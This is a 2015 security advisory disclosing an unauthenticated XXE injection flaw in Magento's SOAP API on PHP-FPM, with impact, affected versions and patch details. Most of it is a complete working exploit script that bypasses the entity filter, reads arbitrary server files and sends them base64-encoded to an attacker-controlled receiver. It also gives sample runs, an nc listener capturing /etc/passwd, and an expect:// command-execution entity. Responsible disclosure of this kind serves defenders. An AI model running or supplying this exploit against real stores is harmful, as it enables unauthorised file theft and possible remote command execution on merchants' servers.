============================================= - Release date: 29.10.2015 - Discovered by: Dawid Golunski - Severity: High/Critical - eBay Magento ref.: APPSEC-1045 ============================================= I. VULNERABILITY ------------------------- eBay Magento CE <= 1.9.2.1 XML eXternal Entity Injection (XXE) on PHP FPM eBay Magento EE <= 1.14.2.1 II. BACKGROUND ------------------------- - eBay Magento eCommerce http://magento.com/ "More than 240,000 merchants worldwide put their trust in our eCommerce software. Magento's eCommerce platform gives you the tools you need to attract more prospects, sell more products, and make more money. It's what we do. We're owned by eBay, so you know we're eCommerce experts" - PHP FPM http://php.net/manual/en/install.fpm.php "FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with some additional features (mostly) useful for heavy-loaded sites." Starting from release 5.3.3 in early 2010, PHP merged the php-fpm fastCGI process manager into its codebase. III. INTRODUCTION ------------------------- eBay Magento eCommerce application uses Zend Framework which has a vulnerability that allows for XML eXternal Entity injection in applications served with PHP FPM. XXE (XML eXternal Entity) attack is an attack on an application that parses XML input from untrusted sources using incorrectly configured XML parser. The application may be forced to open arbitrary files and/or network resources. Exploiting XXE issues on PHP applications may also lead to denial of service or in some cases (e.g. when an 'expect' PHP module is installed) lead to command execution. IV. DESCRIPTION ------------------------- The aforementioned XXE vulnerability in Zend Framework which affects eBay Magento, was discovered by Dawid Golunski and can be found in a separate advisory at: http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt In short, the Zend Framework XXE vulnerability stems from an insufficient sanitisation of untrusted XML data on systems that use PHP-FPM to serve PHP applications. By using certain multibyte encodings within XML, it is possible to bypass the sanitisation and perform certain XXE attacks. Since eBay Magento is based on Zend Framework and uses several of its XML classes, it also inherits this XXE vulnerability. The vulnerability in Zend affects all its XML components, however there are two vulnerable Zend Framework vulnerable components: - Zend_XmlRpc_Server - Zend_SOAP_Server that are of special interest to attackers as they could be exploited remotely without any authentication. Magento implements a store API providing XML/SOAP web services. Although the Zend_XmlRpc is present within Magento code base, the testing revealed that an older zend class was use for its implementation, which was not vulnerable. However, further testing revealed that Magento SOAP API was implemented using the Zend_SOAP_Server class from Zend Framework, which is vulnerable to the XXE injection vulnerability discovered earlier. V. PROOF OF CONCEPT ------------------------- Normally, when an XML containing entities is supplied to magento SOAP API, the following message gets produced: <SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>Sender</faultcode> <faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE attacks</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope> Below is a POC exploit that automates the steps necessary to bypass this protection on Magento served with PHP-FPM, and remotely exploit the XXE issue in Magento's SOAP API. ---[ magento-soap-exploit.sh ]--- #!/bin/bash # # POC Exploit # eBay Magento - XML eXternal Entity Injection (XXE) via SOAP API # <= 1.9.2.1 # # Credits: # # Dawid Golunski # dawid (at) legalhackers.com # http://legalhackers.com # # Usage: # # [Vulnerability test] # # This is to test the vulnerability with a simple XXE payload which retrieves the # /dev/random file and causes a time out. No receiver server is required in this # test as no data is returned. # # Run the script with just the URL to Magento SOAP API, with no other parameters. # E.g: # ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index # # # [File retrieval from the remote server] # # ./magento-soap-exploit.sh MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT # # E.g: # ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index /etc/hosts 192.168.10.5 80 # # In this example, file extracted via the XXE attack will be sent as base64 encoded parameter to: # http://192.168.10.5:80/fetch.php?D=[base64_string] # You should have the receiver server/script listening on the specified port before running this exploit. # TIMEOUT=6 PAYLOAD_TMP_FILE="/tmp/payload-utf16.xml" if [ $# -ne 1 ] && [ $# -ne 4 ] ; then echo -e "\nUsage: \n" echo -e "[Vulnerability test]\n" echo -e "$0 MAGENTO_SOAP_API_URL" echo -e "E.g:" echo -e "$0 http://fpmserver/magento/index.php/api/soap/index\n"; echo -e "[File retrieval]\n" echo -e "$0 MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT" echo -e "E.g:" echo -e "$0 http://fpmserver/magento/index.php/api/soap/index /etc/hosts 192.168.5.6 80\n"; exit 2; else TARGETURL="$1" fi if [ $# -eq 4 ]; then FILE="$2" RECEIVER_HOST="$3" RECEIVER_PORT="$4" TEST_ONLY=0 else TEST_ONLY=1 fi # Perform only a test by reading /dev/random file if [ $TEST_ONLY -eq 1 ]; then # Vulnerability test mode XXE payload TEST_PAYLOAD_XML='<?xml version="1.0" encoding="UTF-16"?> <!DOCTYPE foo [ <!ELEMENT PoC ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="urn:Magento" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body><ns1:test> <username xsi:type="xsd:string">user</username> <apiKey xsi:type="xsd:string">key&xxe;</apiKey></ns1:test> </SOAP-ENV:Body></SOAP-ENV:Envelope>' echo "$TEST_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE echo -e "Target URL: $TARGETURL\nInjecting Test XXE payload (/dev/random). Might take a few seconds.\n" # Fetching /dev/random should cause the remote script to block # on reading /dev/random until the script times out. # If there is no delay it means the remote script is not vulnerable or # /dev/random is not accessible. START=$(date +%s) wget -t 1 -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE END=$(date +%s) DIFF=$(expr $END \- $START ) if [ $DIFF -eq $TIMEOUT ]; then echo "Vulnerable. No response from Magento for $DIFF seconds :)" exit 0 else echo "Not vulnerable, or there is no /dev/random on the remote server." exit 1 fi fi # File retrieval XXE payload SEND_DTD="<?xml version=\"1.0\" encoding=\"UTF-8\"?> <!ENTITY % all \"<!ENTITY send SYSTEM 'php://filter/read=/resource=http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php?D=%file;'>\"> %all;" SEND_DTD_B64="`echo "$SEND_DTD" | base64 -w0`" FILE_PAYLOAD_XML="<?xml version=\"1.0\" encoding=\"UTF-16\"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM \"php://filter/convert.base64-encode/resource=$FILE\"> <!ENTITY % dtd SYSTEM \"data://text/plain;base64,$SEND_DTD_B64\"> %dtd; ]> <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ns1=\"urn:Magento\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body><ns1:test> <username xsi:type=\"xsd:string\">user</username> <apiKey xsi:type=\"xsd:string\">key&send;</apiKey></ns1:test> </SOAP-ENV:Body></SOAP-ENV:Envelope>" # Retrieve $FILE from the remote server and send it to $RECEIVER_HOST:$RECEIVER_PORT echo "$FILE_PAYLOAD_XML" | iconv -f UTF-8 -t UTF-16 > $PAYLOAD_TMP_FILE echo -e "Target URL: $TARGETURL\nInjecting XXE payload to retrieve the $FILE file... \n" echo -e "If successful, Base64 encoded result will be sent to http://$RECEIVER_HOST:$RECEIVER_PORT/fetch.php/D=[base64_result]" echo -e "If in doubt, try the vulnerability test option." wget -t 1 -v -T $TIMEOUT -O /dev/stdout $TARGETURL --post-file=$PAYLOAD_TMP_FILE -------------------------------- The above exploit uses the Out of band XXE payload which sends any retrieved data back to the attacker even though the attacker cannot see the resulting file in the server's response directly. This exploit also bypasses the LIBXML_NONET libxml setting imposed by the Zend Frameork which prohibits network access. This is achieved through the usage of php://filter wrapper which is treated as a local resource by the XML ENTITY handler even though it references remote resources. Successful exploitation in a test mode ('Vulnerability test', exploit run without parameters other than the URL to Magento SOAP API) will result in a time out and an internal server error caused by the XML ENTITY accessing /dev/random file which will block the API script. For example: --- $ ./magento-soap-exploit.sh http://vulnhost/magento/index.php/api/soap/index Target URL: http://vulnhost/magento/index.php/api/soap/index Injecting Test XXE payload (/dev/random). Might take a few seconds. --2015-05-19 22:14:17-- http://vulnhost/magento/index.php/api/soap/index Resolving precise (vulnhost)... 127.0.0.1 Connecting to vulnhost (vulnhost)|127.0.0.1|:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Giving up. Vulnerable. No response from Magento for 6 seconds :) --- Arbitrary file accessible to the PHP process can also be fetched with the above exploit by using the following syntax: --- attacker$ ./magento-soap-exploit.sh http://vulnhost/magento/index.php/api/soap/index /etc/passwd attackershost 9090 Target URL: http://vulnhost/magento/index.php/api/soap/index Injecting XXE payload to retrieve the /etc/passwd file... If successful, Base64 encoded result will be sent to http://attackershost:9090/fetch.php/D=[base64_result] If in doubt, try the vulnerability test option. --2015-05-19 22:33:06-- http://vulnhost/magento/index.php/api/soap/index Resolving vulnhost (vulnhost)... 192.168.57.12 Connecting to vulnhost (vulnhost)|192.168.57.12|:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Giving up. --- The result will be sent to attacker's server listening on port 9090 which needs to be set up before running the exploit: --- attacker# nc -vv -l 9090 Listening on [0.0.0.0] (family 0, port 9090) Connection from [192.168.57.12] port 9090 [tcp/*] accepted (family 2, sport 47227) GET /fetch.php?D=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovY[...cut...] HTTP/1.0 Host: attackershost:9090 attacker# echo 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovYmluL3NoCmJpbjp4OjI6MjpiaW46L2JpbjovYmluL3NoCnN5czp4OjM6MzpzeXM6L2RldjovYmluL3NoCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovY' | base64 -d root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh [...] --- It may also be possible to execute arbitrary commands on the remote server if the remote PHP installation has the 'expect' module enabled. In such case, an attacker could use expect:// wrapper within XML ENTITY to execute any command in the context of the PHP process. E.g: <ENTITY % file SYSTEM "expect://id"> VI. BUSINESS IMPACT ------------------------- This issue should be marked as high/critical due to the wide deployment of eBay Magento software, low complexity of exploitation, as well as a possibility of an unauthenticated remote exploitation as demonstrated in this advisory. Authentication in case of SOAP is not required for exploitation as the XML needs to be processed first in order to read credentials passed within the XML, in a SOAP login method. There is also a growing number of servers set up to serve PHP code with PHP-FPM, especially in web hosting environments which need to respond to heavy load. There are official Magento tutorials explaining how to set up Magento with Nginx and PHP FPM for best performance: http://info.magento.com/rs/magentocommerce/images/ MagentoECG-PoweringMagentowithNgnixandPHP-FPM.pdf VII. SYSTEMS AFFECTED ------------------------- The versions of eBay Magento CE before 1.9.2.1 were confirmed to be exploitable on an Apache web server with PHP-FPM SAPI, and a libxml library which processes XML entities by default. eBay Magento EE was not tested, but is also affected by this issue according to the vendor. The fix for this issue is in Magento EE 1.14.2.2 according to the APPSEC-1045 advisory. PHP-FPM can be set up on popular web servers such as Apache, or Nginx on Linux/Unix, as well as Windows systems (as per the 'fpm on cygwin' setup guides available on the Internet). VIII. SOLUTION ------------------------- eBay Magento was informed about the issue and assigned it a reference ID of APPSEC-1045. eBay released a patch bundle titled: 'SUPEE-6788 Patch Bundle' prior to the release of this advisory. To address the vulnerability, the patch should be installed, or Magento should be upgraded to the latest version of 1.9.2.2 which already contains the fix. IX. REFERENCES ------------------------- http://legalhackers.com/advisories/eBay-Magento-XXE-Injection-Vulnerability.txt http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt http://framework.zend.com/security/advisory/ZF2015-06 Powering Magento with Ngnix and PHP-FPM: http://info.magento.com/rs/magentocommerce/images/MagentoECG-PoweringMagentowithNgnixandPHP-FPM.pdf http://www.securiteam.com/ Official eBay Magento website: http://magento.com/ Patch 'SUPEE-6788 Patch Bundle', addressing 'XXE/XEE Attack on Zend XML Functionality Using Multibyte Payloads' (APPSEC-1045) is available at: https://magento.com/security/patches/supee-6788 X. DISCOVERED BY ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com legalhackers.com XI. REVISION HISTORY ------------------------- Oct 29th, 2015: Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.